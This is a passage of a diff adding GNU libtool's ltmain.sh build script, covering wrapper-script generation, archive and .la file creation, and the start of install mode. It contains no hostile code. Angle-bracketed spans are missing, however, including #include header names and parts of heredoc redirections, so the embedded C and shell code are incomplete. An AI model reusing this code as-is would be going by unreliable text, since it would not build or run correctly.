$Xsed -e 's%@OUTPUT@%'"$output"'%g'` + # Delete the old output file. + $run $rm $output + # Link the executable and exit + $show "$link_command" + $run eval "$link_command" || exit $? + exit $EXIT_SUCCESS + fi + + if test "$hardcode_action" = relink; then + # Fast installation is not supported + link_command="$compile_var$compile_command$compile_rpath" + relink_command="$finalize_var$finalize_command$finalize_rpath" + + $echo "$modename: warning: this platform does not like uninstalled shared libraries" 1>&2 + $echo "$modename: \`$output' will be relinked during installation" 1>&2 + else + if test "$fast_install" != no; then + link_command="$finalize_var$compile_command$finalize_rpath" + if test "$fast_install" = yes; then + relink_command=`$echo "X$compile_var$compile_command$compile_rpath" | $Xsed -e 's%@OUTPUT@%\$progdir/\$file%g'` + else + # fast_install is set to needless + relink_command= + fi + else + link_command="$compile_var$compile_command$compile_rpath" + relink_command="$finalize_var$finalize_command$finalize_rpath" + fi + fi + + # Replace the output file specification. + link_command=`$echo "X$link_command" | $Xsed -e 's%@OUTPUT@%'"$output_objdir/$outputname"'%g'` + + # Delete the old output files. + $run $rm $output $output_objdir/$outputname $output_objdir/lt-$outputname + + $show "$link_command" + $run eval "$link_command" || exit $? + + # Now create the wrapper script. + $show "creating $output" + + # Quote the relink command for shipping. + if test -n "$relink_command"; then + # Preserve any variables that may affect compiler behavior + for var in $variables_saved_for_relink; do + if eval test -z \"\${$var+set}\"; then + relink_command="{ test -z \"\${$var+set}\" || unset $var || { $var=; export $var; }; }; $relink_command" + elif eval var_value=\$$var; test -z "$var_value"; then + relink_command="$var=; export $var; $relink_command" + else + var_value=`$echo "X$var_value" | $Xsed -e "$sed_quote_subst"` + relink_command="$var=\"$var_value\"; export $var; $relink_command" + fi + done + relink_command="(cd `pwd`; $relink_command)" + relink_command=`$echo "X$relink_command" | $Xsed -e "$sed_quote_subst"` + fi + + # Quote $echo for shipping. + if test "X$echo" = "X$SHELL $progpath --fallback-echo"; then + case $progpath in + [\\/]* | [A-Za-z]:[\\/]*) qecho="$SHELL $progpath --fallback-echo";; + *) qecho="$SHELL `pwd`/$progpath --fallback-echo";; + esac + qecho=`$echo "X$qecho" | $Xsed -e "$sed_quote_subst"` + else + qecho=`$echo "X$echo" | $Xsed -e "$sed_quote_subst"` + fi + + # Only actually do things if our run command is non-null. + if test -z "$run"; then + # win32 will think the script is a binary if it has + # a .exe suffix, so we strip it off here. + case $output in + *.exe) output=`$echo $output|${SED} 's,.exe$,,'` ;; + esac + # test for cygwin because mv fails w/o .exe extensions + case $host in + *cygwin*) + exeext=.exe + outputname=`$echo $outputname|${SED} 's,.exe$,,'` ;; + *) exeext= ;; + esac + case $host in + *cygwin* | *mingw* ) + output_name=`basename $output` + output_path=`dirname $output` + cwrappersource="$output_path/$objdir/lt-$output_name.c" + cwrapper="$output_path/$output_name.exe" + $rm $cwrappersource $cwrapper + trap "$rm $cwrappersource $cwrapper; exit $EXIT_FAILURE" 1 2 15 + + cat > $cwrappersource <> $cwrappersource<<"EOF" +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#if defined(PATH_MAX) +# define LT_PATHMAX PATH_MAX +#elif defined(MAXPATHLEN) +# define LT_PATHMAX MAXPATHLEN +#else +# define LT_PATHMAX 1024 +#endif + +#ifndef DIR_SEPARATOR +# define DIR_SEPARATOR '/' +# define PATH_SEPARATOR ':' +#endif + +#if defined (_WIN32) || defined (__MSDOS__) || defined (__DJGPP__) || \ + defined (__OS2__) +# define HAVE_DOS_BASED_FILE_SYSTEM +# ifndef DIR_SEPARATOR_2 +# define DIR_SEPARATOR_2 '\\' +# endif +# ifndef PATH_SEPARATOR_2 +# define PATH_SEPARATOR_2 ';' +# endif +#endif + +#ifndef DIR_SEPARATOR_2 +# define IS_DIR_SEPARATOR(ch) ((ch) == DIR_SEPARATOR) +#else /* DIR_SEPARATOR_2 */ +# define IS_DIR_SEPARATOR(ch) \ + (((ch) == DIR_SEPARATOR) || ((ch) == DIR_SEPARATOR_2)) +#endif /* DIR_SEPARATOR_2 */ + +#ifndef PATH_SEPARATOR_2 +# define IS_PATH_SEPARATOR(ch) ((ch) == PATH_SEPARATOR) +#else /* PATH_SEPARATOR_2 */ +# define IS_PATH_SEPARATOR(ch) ((ch) == PATH_SEPARATOR_2) +#endif /* PATH_SEPARATOR_2 */ + +#define XMALLOC(type, num) ((type *) xmalloc ((num) * sizeof(type))) +#define XFREE(stale) do { \ + if (stale) { free ((void *) stale); stale = 0; } \ +} while (0) + +/* -DDEBUG is fairly common in CFLAGS. */ +#undef DEBUG +#if defined DEBUGWRAPPER +# define DEBUG(format, ...) fprintf(stderr, format, __VA_ARGS__) +#else +# define DEBUG(format, ...) +#endif + +const char *program_name = NULL; + +void * xmalloc (size_t num); +char * xstrdup (const char *string); +const char * base_name (const char *name); +char * find_executable(const char *wrapper); +int check_executable(const char *path); +char * strendzap(char *str, const char *pat); +void lt_fatal (const char *message, ...); + +int +main (int argc, char *argv[]) +{ + char **newargz; + int i; + + program_name = (char *) xstrdup (base_name (argv[0])); + DEBUG("(main) argv[0] : %s\n",argv[0]); + DEBUG("(main) program_name : %s\n",program_name); + newargz = XMALLOC(char *, argc+2); +EOF + + cat >> $cwrappersource <> $cwrappersource <<"EOF" + newargz[1] = find_executable(argv[0]); + if (newargz[1] == NULL) + lt_fatal("Couldn't find %s", argv[0]); + DEBUG("(main) found exe at : %s\n",newargz[1]); + /* we know the script has the same name, without the .exe */ + /* so make sure newargz[1] doesn't end in .exe */ + strendzap(newargz[1],".exe"); + for (i = 1; i < argc; i++) + newargz[i+1] = xstrdup(argv[i]); + newargz[argc+1] = NULL; + + for (i=0; i> $cwrappersource <> $cwrappersource <> $cwrappersource <<"EOF" + return 127; +} + +void * +xmalloc (size_t num) +{ + void * p = (void *) malloc (num); + if (!p) + lt_fatal ("Memory exhausted"); + + return p; +} + +char * +xstrdup (const char *string) +{ + return string ? strcpy ((char *) xmalloc (strlen (string) + 1), string) : NULL +; +} + +const char * +base_name (const char *name) +{ + const char *base; + +#if defined (HAVE_DOS_BASED_FILE_SYSTEM) + /* Skip over the disk name in MSDOS pathnames. */ + if (isalpha ((unsigned char)name[0]) && name[1] == ':') + name += 2; +#endif + + for (base = name; *name; name++) + if (IS_DIR_SEPARATOR (*name)) + base = name + 1; + return base; +} + +int +check_executable(const char * path) +{ + struct stat st; + + DEBUG("(check_executable) : %s\n", path ? (*path ? path : "EMPTY!") : "NULL!"); + if ((!path) || (!*path)) + return 0; + + if ((stat (path, &st) >= 0) && + ( + /* MinGW & native WIN32 do not support S_IXOTH or S_IXGRP */ +#if defined (S_IXOTH) + ((st.st_mode & S_IXOTH) == S_IXOTH) || +#endif +#if defined (S_IXGRP) + ((st.st_mode & S_IXGRP) == S_IXGRP) || +#endif + ((st.st_mode & S_IXUSR) == S_IXUSR)) + ) + return 1; + else + return 0; +} + +/* Searches for the full path of the wrapper. Returns + newly allocated full path name if found, NULL otherwise */ +char * +find_executable (const char* wrapper) +{ + int has_slash = 0; + const char* p; + const char* p_next; + /* static buffer for getcwd */ + char tmp[LT_PATHMAX + 1]; + int tmp_len; + char* concat_name; + + DEBUG("(find_executable) : %s\n", wrapper ? (*wrapper ? wrapper : "EMPTY!") : "NULL!"); + + if ((wrapper == NULL) || (*wrapper == '\0')) + return NULL; + + /* Absolute path? */ +#if defined (HAVE_DOS_BASED_FILE_SYSTEM) + if (isalpha ((unsigned char)wrapper[0]) && wrapper[1] == ':') + { + concat_name = xstrdup (wrapper); + if (check_executable(concat_name)) + return concat_name; + XFREE(concat_name); + } + else + { +#endif + if (IS_DIR_SEPARATOR (wrapper[0])) + { + concat_name = xstrdup (wrapper); + if (check_executable(concat_name)) + return concat_name; + XFREE(concat_name); + } +#if defined (HAVE_DOS_BASED_FILE_SYSTEM) + } +#endif + + for (p = wrapper; *p; p++) + if (*p == '/') + { + has_slash = 1; + break; + } + if (!has_slash) + { + /* no slashes; search PATH */ + const char* path = getenv ("PATH"); + if (path != NULL) + { + for (p = path; *p; p = p_next) + { + const char* q; + size_t p_len; + for (q = p; *q; q++) + if (IS_PATH_SEPARATOR(*q)) + break; + p_len = q - p; + p_next = (*q == '\0' ? q : q + 1); + if (p_len == 0) + { + /* empty path: current directory */ + if (getcwd (tmp, LT_PATHMAX) == NULL) + lt_fatal ("getcwd failed"); + tmp_len = strlen(tmp); + concat_name = XMALLOC(char, tmp_len + 1 + strlen(wrapper) + 1); + memcpy (concat_name, tmp, tmp_len); + concat_name[tmp_len] = '/'; + strcpy (concat_name + tmp_len + 1, wrapper); + } + else + { + concat_name = XMALLOC(char, p_len + 1 + strlen(wrapper) + 1); + memcpy (concat_name, p, p_len); + concat_name[p_len] = '/'; + strcpy (concat_name + p_len + 1, wrapper); + } + if (check_executable(concat_name)) + return concat_name; + XFREE(concat_name); + } + } + /* not found in PATH; assume curdir */ + } + /* Relative path | not found in path: prepend cwd */ + if (getcwd (tmp, LT_PATHMAX) == NULL) + lt_fatal ("getcwd failed"); + tmp_len = strlen(tmp); + concat_name = XMALLOC(char, tmp_len + 1 + strlen(wrapper) + 1); + memcpy (concat_name, tmp, tmp_len); + concat_name[tmp_len] = '/'; + strcpy (concat_name + tmp_len + 1, wrapper); + + if (check_executable(concat_name)) + return concat_name; + XFREE(concat_name); + return NULL; +} + +char * +strendzap(char *str, const char *pat) +{ + size_t len, patlen; + + assert(str != NULL); + assert(pat != NULL); + + len = strlen(str); + patlen = strlen(pat); + + if (patlen <= len) + { + str += len - patlen; + if (strcmp(str, pat) == 0) + *str = '\0'; + } + return str; +} + +static void +lt_error_core (int exit_status, const char * mode, + const char * message, va_list ap) +{ + fprintf (stderr, "%s: %s: ", program_name, mode); + vfprintf (stderr, message, ap); + fprintf (stderr, ".\n"); + + if (exit_status >= 0) + exit (exit_status); +} + +void +lt_fatal (const char *message, ...) +{ + va_list ap; + va_start (ap, message); + lt_error_core (EXIT_FAILURE, "FATAL", message, ap); + va_end (ap); +} +EOF + # we should really use a build-platform specific compiler + # here, but OTOH, the wrappers (shell script and this C one) + # are only useful if you want to execute the "real" binary. + # Since the "real" binary is built for $host, then this + # wrapper might as well be built for $host, too. + $run $LTCC $LTCFLAGS -s -o $cwrapper $cwrappersource + ;; + esac + $rm $output + trap "$rm $output; exit $EXIT_FAILURE" 1 2 15 + + $echo > $output "\ +#! $SHELL + +# $output - temporary wrapper script for $objdir/$outputname +# Generated by $PROGRAM - GNU $PACKAGE $VERSION$TIMESTAMP +# +# The $output program cannot be directly executed until all the libtool +# libraries that it depends on are installed. +# +# This wrapper script should never be moved out of the build directory. +# If it is, it will not operate correctly. + +# Sed substitution that helps us do robust quoting. It backslashifies +# metacharacters that are still active within double-quoted strings. +Xsed='${SED} -e 1s/^X//' +sed_quote_subst='$sed_quote_subst' + +# The HP-UX ksh and POSIX shell print the target directory to stdout +# if CDPATH is set. +(unset CDPATH) >/dev/null 2>&1 && unset CDPATH + +relink_command=\"$relink_command\" + +# This environment variable determines our operation mode. +if test \"\$libtool_install_magic\" = \"$magic\"; then + # install mode needs the following variable: + notinst_deplibs='$notinst_deplibs' +else + # When we are sourced in execute mode, \$file and \$echo are already set. + if test \"\$libtool_execute_magic\" != \"$magic\"; then + echo=\"$qecho\" + file=\"\$0\" + # Make sure echo works. + if test \"X\$1\" = X--no-reexec; then + # Discard the --no-reexec flag, and continue. + shift + elif test \"X\`(\$echo '\t') 2>/dev/null\`\" = 'X\t'; then + # Yippee, \$echo works! + : + else + # Restart under the correct shell, and then maybe \$echo will work. + exec $SHELL \"\$0\" --no-reexec \${1+\"\$@\"} + fi + fi\ +" + $echo >> $output "\ + + # Find the directory that this script lives in. + thisdir=\`\$echo \"X\$file\" | \$Xsed -e 's%/[^/]*$%%'\` + test \"x\$thisdir\" = \"x\$file\" && thisdir=. + + # Follow symbolic links until we get to the real thisdir. + file=\`ls -ld \"\$file\" | ${SED} -n 's/.*-> //p'\` + while test -n \"\$file\"; do + destdir=\`\$echo \"X\$file\" | \$Xsed -e 's%/[^/]*\$%%'\` + + # If there was a directory component, then change thisdir. + if test \"x\$destdir\" != \"x\$file\"; then + case \"\$destdir\" in + [\\\\/]* | [A-Za-z]:[\\\\/]*) thisdir=\"\$destdir\" ;; + *) thisdir=\"\$thisdir/\$destdir\" ;; + esac + fi + + file=\`\$echo \"X\$file\" | \$Xsed -e 's%^.*/%%'\` + file=\`ls -ld \"\$thisdir/\$file\" | ${SED} -n 's/.*-> //p'\` + done + + # Try to get the absolute directory name. + absdir=\`cd \"\$thisdir\" && pwd\` + test -n \"\$absdir\" && thisdir=\"\$absdir\" +" + + if test "$fast_install" = yes; then + $echo >> $output "\ + program=lt-'$outputname'$exeext + progdir=\"\$thisdir/$objdir\" + + if test ! -f \"\$progdir/\$program\" || \\ + { file=\`ls -1dt \"\$progdir/\$program\" \"\$progdir/../\$program\" 2>/dev/null | ${SED} 1q\`; \\ + test \"X\$file\" != \"X\$progdir/\$program\"; }; then + + file=\"\$\$-\$program\" + + if test ! -d \"\$progdir\"; then + $mkdir \"\$progdir\" + else + $rm \"\$progdir/\$file\" + fi" + + $echo >> $output "\ + + # relink executable if necessary + if test -n \"\$relink_command\"; then + if relink_command_output=\`eval \$relink_command 2>&1\`; then : + else + $echo \"\$relink_command_output\" >&2 + $rm \"\$progdir/\$file\" + exit $EXIT_FAILURE + fi + fi + + $mv \"\$progdir/\$file\" \"\$progdir/\$program\" 2>/dev/null || + { $rm \"\$progdir/\$program\"; + $mv \"\$progdir/\$file\" \"\$progdir/\$program\"; } + $rm \"\$progdir/\$file\" + fi" + else + $echo >> $output "\ + program='$outputname' + progdir=\"\$thisdir/$objdir\" +" + fi + + $echo >> $output "\ + + if test -f \"\$progdir/\$program\"; then" + + # Export our shlibpath_var if we have one. + if test "$shlibpath_overrides_runpath" = yes && test -n "$shlibpath_var" && test -n "$temp_rpath"; then + $echo >> $output "\ + # Add our own library path to $shlibpath_var + $shlibpath_var=\"$temp_rpath\$$shlibpath_var\" + + # Some systems cannot cope with colon-terminated $shlibpath_var + # The second colon is a workaround for a bug in BeOS R4 sed + $shlibpath_var=\`\$echo \"X\$$shlibpath_var\" | \$Xsed -e 's/::*\$//'\` + + export $shlibpath_var +" + fi + + # fixup the dll searchpath if we need to. + if test -n "$dllsearchpath"; then + $echo >> $output "\ + # Add the dll search path components to the executable PATH + PATH=$dllsearchpath:\$PATH +" + fi + + $echo >> $output "\ + if test \"\$libtool_execute_magic\" != \"$magic\"; then + # Run the actual program with our arguments. +" + case $host in + # Backslashes separate directories on plain windows + *-*-mingw | *-*-os2*) + $echo >> $output "\ + exec \"\$progdir\\\\\$program\" \${1+\"\$@\"} +" + ;; + + *) + $echo >> $output "\ + exec \"\$progdir/\$program\" \${1+\"\$@\"} +" + ;; + esac + $echo >> $output "\ + \$echo \"\$0: cannot exec \$program \${1+\"\$@\"}\" + exit $EXIT_FAILURE + fi + else + # The program doesn't exist. + \$echo \"\$0: error: \\\`\$progdir/\$program' does not exist\" 1>&2 + \$echo \"This script is just a wrapper for \$program.\" 1>&2 + $echo \"See the $PACKAGE documentation for more information.\" 1>&2 + exit $EXIT_FAILURE + fi +fi\ +" + chmod +x $output + fi + exit $EXIT_SUCCESS + ;; + esac + + # See if we need to build an old-fashioned archive. + for oldlib in $oldlibs; do + + if test "$build_libtool_libs" = convenience; then + oldobjs="$libobjs_save" + addlibs="$convenience" + build_libtool_libs=no + else + if test "$build_libtool_libs" = module; then + oldobjs="$libobjs_save" + build_libtool_libs=no + else + oldobjs="$old_deplibs $non_pic_objects" + fi + addlibs="$old_convenience" + fi + + if test -n "$addlibs"; then + gentop="$output_objdir/${outputname}x" + generated="$generated $gentop" + + func_extract_archives $gentop $addlibs + oldobjs="$oldobjs $func_extract_archives_result" + fi + + # Do each command in the archive commands. + if test -n "$old_archive_from_new_cmds" && test "$build_libtool_libs" = yes; then + cmds=$old_archive_from_new_cmds + else + # POSIX demands no paths to be encoded in archives. We have + # to avoid creating archives with duplicate basenames if we + # might have to extract them afterwards, e.g., when creating a + # static archive out of a convenience library, or when linking + # the entirety of a libtool archive into another (currently + # not supported by libtool). + if (for obj in $oldobjs + do + $echo "X$obj" | $Xsed -e 's%^.*/%%' + done | sort | sort -uc >/dev/null 2>&1); then + : + else + $echo "copying selected object files to avoid basename conflicts..." + + if test -z "$gentop"; then + gentop="$output_objdir/${outputname}x" + generated="$generated $gentop" + + $show "${rm}r $gentop" + $run ${rm}r "$gentop" + $show "$mkdir $gentop" + $run $mkdir "$gentop" + exit_status=$? + if test "$exit_status" -ne 0 && test ! -d "$gentop"; then + exit $exit_status + fi + fi + + save_oldobjs=$oldobjs + oldobjs= + counter=1 + for obj in $save_oldobjs + do + objbase=`$echo "X$obj" | $Xsed -e 's%^.*/%%'` + case " $oldobjs " in + " ") oldobjs=$obj ;; + *[\ /]"$objbase "*) + while :; do + # Make sure we don't pick an alternate name that also + # overlaps. + newobj=lt$counter-$objbase + counter=`expr $counter + 1` + case " $oldobjs " in + *[\ /]"$newobj "*) ;; + *) if test ! -f "$gentop/$newobj"; then break; fi ;; + esac + done + $show "ln $obj $gentop/$newobj || cp $obj $gentop/$newobj" + $run ln "$obj" "$gentop/$newobj" || + $run cp "$obj" "$gentop/$newobj" + oldobjs="$oldobjs $gentop/$newobj" + ;; + *) oldobjs="$oldobjs $obj" ;; + esac + done + fi + + eval cmds=\"$old_archive_cmds\" + + if len=`expr "X$cmds" : ".*"` && + test "$len" -le "$max_cmd_len" || test "$max_cmd_len" -le -1; then + cmds=$old_archive_cmds + else + # the command line is too long to link in one step, link in parts + $echo "using piecewise archive linking..." + save_RANLIB=$RANLIB + RANLIB=: + objlist= + concat_cmds= + save_oldobjs=$oldobjs + + # Is there a better way of finding the last object in the list? + for obj in $save_oldobjs + do + last_oldobj=$obj + done + for obj in $save_oldobjs + do + oldobjs="$objlist $obj" + objlist="$objlist $obj" + eval test_cmds=\"$old_archive_cmds\" + if len=`expr "X$test_cmds" : ".*" 2>/dev/null` && + test "$len" -le "$max_cmd_len"; then + : + else + # the above command should be used before it gets too long + oldobjs=$objlist + if test "$obj" = "$last_oldobj" ; then + RANLIB=$save_RANLIB + fi + test -z "$concat_cmds" || concat_cmds=$concat_cmds~ + eval concat_cmds=\"\${concat_cmds}$old_archive_cmds\" + objlist= + fi + done + RANLIB=$save_RANLIB + oldobjs=$objlist + if test "X$oldobjs" = "X" ; then + eval cmds=\"\$concat_cmds\" + else + eval cmds=\"\$concat_cmds~\$old_archive_cmds\" + fi + fi + fi + save_ifs="$IFS"; IFS='~' + for cmd in $cmds; do + eval cmd=\"$cmd\" + IFS="$save_ifs" + $show "$cmd" + $run eval "$cmd" || exit $? + done + IFS="$save_ifs" + done + + if test -n "$generated"; then + $show "${rm}r$generated" + $run ${rm}r$generated + fi + + # Now create the libtool archive. + case $output in + *.la) + old_library= + test "$build_old_libs" = yes && old_library="$libname.$libext" + $show "creating $output" + + # Preserve any variables that may affect compiler behavior + for var in $variables_saved_for_relink; do + if eval test -z \"\${$var+set}\"; then + relink_command="{ test -z \"\${$var+set}\" || unset $var || { $var=; export $var; }; }; $relink_command" + elif eval var_value=\$$var; test -z "$var_value"; then + relink_command="$var=; export $var; $relink_command" + else + var_value=`$echo "X$var_value" | $Xsed -e "$sed_quote_subst"` + relink_command="$var=\"$var_value\"; export $var; $relink_command" + fi + done + # Quote the link command for shipping. + relink_command="(cd `pwd`; $SHELL $progpath $preserve_args --mode=relink $libtool_args @inst_prefix_dir@)" + relink_command=`$echo "X$relink_command" | $Xsed -e "$sed_quote_subst"` + if test "$hardcode_automatic" = yes ; then + relink_command= + fi + + + # Only create the output if not a dry run. + if test -z "$run"; then + for installed in no yes; do + if test "$installed" = yes; then + if test -z "$install_libdir"; then + break + fi + output="$output_objdir/$outputname"i + # Replace all uninstalled libtool libraries with the installed ones + newdependency_libs= + for deplib in $dependency_libs; do + case $deplib in + *.la) + name=`$echo "X$deplib" | $Xsed -e 's%^.*/%%'` + eval libdir=`${SED} -n -e 's/^libdir=\(.*\)$/\1/p' $deplib` + if test -z "$libdir"; then + $echo "$modename: \`$deplib' is not a valid libtool archive" 1>&2 + exit $EXIT_FAILURE + fi + newdependency_libs="$newdependency_libs $libdir/$name" + ;; + *) newdependency_libs="$newdependency_libs $deplib" ;; + esac + done + dependency_libs="$newdependency_libs" + newdlfiles= + for lib in $dlfiles; do + name=`$echo "X$lib" | $Xsed -e 's%^.*/%%'` + eval libdir=`${SED} -n -e 's/^libdir=\(.*\)$/\1/p' $lib` + if test -z "$libdir"; then + $echo "$modename: \`$lib' is not a valid libtool archive" 1>&2 + exit $EXIT_FAILURE + fi + newdlfiles="$newdlfiles $libdir/$name" + done + dlfiles="$newdlfiles" + newdlprefiles= + for lib in $dlprefiles; do + name=`$echo "X$lib" | $Xsed -e 's%^.*/%%'` + eval libdir=`${SED} -n -e 's/^libdir=\(.*\)$/\1/p' $lib` + if test -z "$libdir"; then + $echo "$modename: \`$lib' is not a valid libtool archive" 1>&2 + exit $EXIT_FAILURE + fi + newdlprefiles="$newdlprefiles $libdir/$name" + done + dlprefiles="$newdlprefiles" + else + newdlfiles= + for lib in $dlfiles; do + case $lib in + [\\/]* | [A-Za-z]:[\\/]*) abs="$lib" ;; + *) abs=`pwd`"/$lib" ;; + esac + newdlfiles="$newdlfiles $abs" + done + dlfiles="$newdlfiles" + newdlprefiles= + for lib in $dlprefiles; do + case $lib in + [\\/]* | [A-Za-z]:[\\/]*) abs="$lib" ;; + *) abs=`pwd`"/$lib" ;; + esac + newdlprefiles="$newdlprefiles $abs" + done + dlprefiles="$newdlprefiles" + fi + $rm $output + # place dlname in correct position for cygwin + tdlname=$dlname + case $host,$output,$installed,$module,$dlname in + *cygwin*,*lai,yes,no,*.dll | *mingw*,*lai,yes,no,*.dll) tdlname=../bin/$dlname ;; + esac + $echo > $output "\ +# $outputname - a libtool library file +# Generated by $PROGRAM - GNU $PACKAGE $VERSION$TIMESTAMP +# +# Please DO NOT delete this file! +# It is necessary for linking the library. + +# The name that we can dlopen(3). +dlname='$tdlname' + +# Names of this library. +library_names='$library_names' + +# The name of the static archive. +old_library='$old_library' + +# Libraries that this one depends upon. +dependency_libs='$dependency_libs' + +# Version information for $libname. +current=$current +age=$age +revision=$revision + +# Is this an already installed library? +installed=$installed + +# Should we warn about portability when linking against -modules? +shouldnotlink=$module + +# Files to dlopen/dlpreopen +dlopen='$dlfiles' +dlpreopen='$dlprefiles' + +# Directory that this library needs to be installed in: +libdir='$install_libdir'" + if test "$installed" = no && test "$need_relink" = yes; then + $echo >> $output "\ +relink_command=\"$relink_command\"" + fi + done + fi + + # Do a symbolic link so that the libtool archive can be found in + # LD_LIBRARY_PATH before the program is installed. + $show "(cd $output_objdir && $rm $outputname && $LN_S ../$outputname $outputname)" + $run eval '(cd $output_objdir && $rm $outputname && $LN_S ../$outputname $outputname)' || exit $? + ;; + esac + exit $EXIT_SUCCESS + ;; + + # libtool install mode + install) + modename="$modename: install" + + # There may be an optional sh(1) argument at the beginning of + # install_prog (especially on Windows NT). + if test "$nonopt" = "$SHELL" || test "$nonopt" = /bin/sh || + # Allow the use of GNU shtool's install command. + $echo "X$nonopt" | grep shtool > /dev/null; then + # Aesthetically quote it. + arg=`$echo "X$nonopt" | $Xsed -e "$sed_quote_subst"` + case $arg in + *[\[\~\#\^\&\*\(\)\{\}\|\;\<\>\?\'\ \ ]*|*]*|"") + arg="\"$arg\"" + ;; + esac + install_prog="$arg " + arg="$1" + shift + else + install_prog= + arg=$nonopt + fi + + # The real first argument should be the name of the installation program. + # Aesthetically quote it. + arg=`$echo "X$arg" | $Xsed -e "$sed_quote_subst"` + case $arg in + *[\[\~\#\^\&\*\(\)\{\}\|\;\<\>\?\'\ \ ]*|*]*|"") + arg="\"$arg\"" + ;; + esac + install_prog="$install_prog$arg" + + # We need to accept at least all the BSD install flags. + dest= + files= + opts= + prev= + install_type= + isdir=no + stripme= + for arg + do + if test -n "$dest"; then + files="$files $dest" + dest=$arg + continue + fi + + case $arg in + -d) isdir=yes ;; + -f) + case " $install_prog " in + *[\\\ /]cp\ *) ;; + *) prev=$arg ;; + esac + ;; + -g | -m | -o) prev=$arg ;; + -s) + stripme=" -s" + continue + ;; + -*) + ;; + *) + # If the previous option needed an argument, then skip it. + if test -n "$prev"; then + prev= + else + dest=$arg + continue + fi + ;; + esac + + # Aesthetically quote the argument. + arg=`$echo "X$arg" | $Xsed -e "$sed_quote_subst"` + case $arg in + *[\[\~\#\^\&\*\(\)\{\}\|\;\<\>\?\'\ \ ]*|*]*|"") + arg="\"$arg\"" + ;; + esac + install_prog="$install_prog $arg" + done + + if test -z "$install_prog"; then + $echo "$modename: you must specify an install program" 1>&2 + $echo "$help" 1>&2 + exit $EXIT_FAILURE + fi + + if test -n "$prev"; then + $echo "$modename: the \`$prev' option requires an argument" 1>&2 + $echo "$help" 1>&2 + exit $EXIT_FAILURE + fi + + if test -z "$files"; then + if test -z "$dest"; then + $echo "$modename: no file or destination specified" 1>&2 + else + $echo "$modename: you must specify a destination" 1>&2 + fi + $echo "$help" 1>&2 + exit $EXIT_FAILURE + fi + + # Strip any trailing slash from the destination. + dest=`$echo "X$dest" | $Xsed -e 's%/$%%'` + + # Check to see that the destination is a directory. + test -d "$dest" && isdir=yes + if test "$isdir" = yes; then + destdir="$dest" + destname= + else + destdir=`$echo "X$dest" | $Xsed -e 's%/[^/]*$%%'` + test "X$destdir" = "X$dest" && destdir=. + destname=`$echo "X$dest" | $Xsed -e 's%^.*/%%'` + + # Not a directory, so check to see that there is only one file specified. + set dummy $files + if test "$#" -gt 2; then + $echo "$modename: \`$dest' is not a directory" 1>&2 + $echo "$help" 1>&2 + exit $EXIT_FAILURE + fi + fi + case $destdir in + [\\/]* | [A-Za-z]:[\\/]*) ;; + *) + for file in $files; do + case $file in + *.lo) ;; + *) + $echo "$modename: \`$destdir' must be an absolute directory name" 1>&2 + $echo "$help" 1>&2 + exit $EXIT_FAILURE + ;; + esac + done + ;; + esac + + # This variable tells wrapper scripts just to set variables rather + # than running their programs. + libtool_install_magic="$magic" + + staticlibs= + future_libdirs= + current_libdirs= + for file in $files; do + + # Do each installation. + case $file in + *.$libext) + # Do the static libraries later. + staticlibs="$staticlibs $file" + ;; + + *.la) + # Check to see that this really is a libtool archive. + if (${SED} -e '2q' $file | grep "^# Generated by .*$PACKAGE") >/dev/null 2>&1; then : + else + $echo "$modename: \`$file' is not a valid libtool archive" 1>&2 + $echo "$help" 1>&2 + exit $EXIT_FAILURE + fi + + library_names= + old_library= + relink_command= + # If there is no directory component, then add one. + case $file in + */* | *\\*) . $file ;; + *) . ./$file ;; + esac + + # Add the libdir to current_libdirs if it is the destination. + if test "X$destdir" = "X$libdir"; then + case "$current_libdirs " in + *" $libdir "*) ;; + *) current_libdirs="$current_libdirs $libdir" ;; + esac + else + # Note the libdir as a future libdir. + case "$future_libdirs " in + *" $libdir "*) ;; + *) future_libdirs="$future_libdirs $libdir" ;; + esac + fi + + dir=`$echo "X$file" | $Xsed -e 's%/[^/]*$%%'`/ + test "X$dir" = "X$file/" && dir= + dir="$dir$objdir" + + if test -n "$relink_command"; then + # Determine the prefix the user has applied to our future dir. + inst_prefix_dir=`$echo "$destdir" | $SED "s%$libdir\$%%"` + + # Don't allow the user to place us outside of our expected + # location b/c this prevents finding dependent libraries that + # are installed to the same prefix. + # At present, this check doesn't affect windows .dll's that + # are installed into $libdir/../bin (currently, that works fine) + # but it's something to keep an eye on. + if test "$inst_prefix_dir" = "$destdir"; then + $echo "$modename: error: cannot install \`$file' to a directory not ending in $libdir" 1>&2 + exit $EXIT_FAILURE + fi + + if test -n "$inst_prefix_dir"; then + # Stick the inst_prefix_dir data into the link command. + relink_command=`$echo "$relink_command" | $SED "s%@inst_prefix_dir@%-inst-prefix-dir $inst_prefix_dir%"` + else + relink_command=`$echo "$relink_command" | $SED "s%@inst_prefix_dir@%%"` + fi + + $echo "$modename: warning: relinking \`$file'" 1>&2 + $show "$relink_command" + if $run eval "$relink_command"; then : + else + $echo "$modename: error: relink \`$file' with the above command before installing it" 1>&2 + exit $EXIT_FAILURE + fi + fi + + # See the names of the shared library. + set dummy $library_names + if test -n "$2"; then + realname="$2" + shift + shift + + srcname="$realname" + test -n "$relink_command" && srcname="$realname"T + + # Install the shared library and build the symlinks. + $show "$install_prog $dir/$srcname $destdir/$realname" + $run eval "$install_prog $dir/$srcname $destdir/$realname" || exit $? + if test -n "$stripme" && test -n "$striplib"; then + $show "$striplib $destdir/$realname" + $run eval "$striplib $destdir/$realname" || exit $? + fi + + if test "$#" -gt 0; then + # Delete the old symlinks, and create new ones. + # Try `ln -sf' first, because the `ln' binary might depend on + # the symlink we replace! Solaris /bin/ln does not understand -f, + # so we also need to try rm && ln -s. + for linkname + do + if test "$linkname" != "$realname"; then + $show "(cd $destdir && { $LN_S -f $realname $linkname || { $rm $linkname && $LN_S $realname $linkname; }; })" + $run eval "(cd $destdir && { $LN_S -f $realname $linkname || { $rm $linkname && $LN_S $realname $linkname; }; })" + fi + done + fi + + # Do each command in the postinstall commands. + lib="$destdir/$realname" + cmds=$postinstall_cmds + save_ifs="$IFS"; IFS='~' + for cmd in $cmds; do + IFS="$save_ifs" + eval cmd=\"$cmd\" + $show "$cmd" + $run eval "$cmd" || { + lt_exit=$? + + # Restore the uninstalled library and exit + if test "$mode" = relink; then + $run eval '(cd $output_objdir && $rm ${realname}T && $mv ${realname}U $realname)' + fi + + exit $lt_exit + } + done + IFS="$save_ifs" + fi + + # Install the pseudo-library for information purposes. + name=`$echo "X$file" | $Xsed -e 's%^.*/%%'` + instname="$dir/$name"i + $show "$install_prog $instname $destdir/$name" + $run eval "$install_prog $instname $destdir/$name" || exit 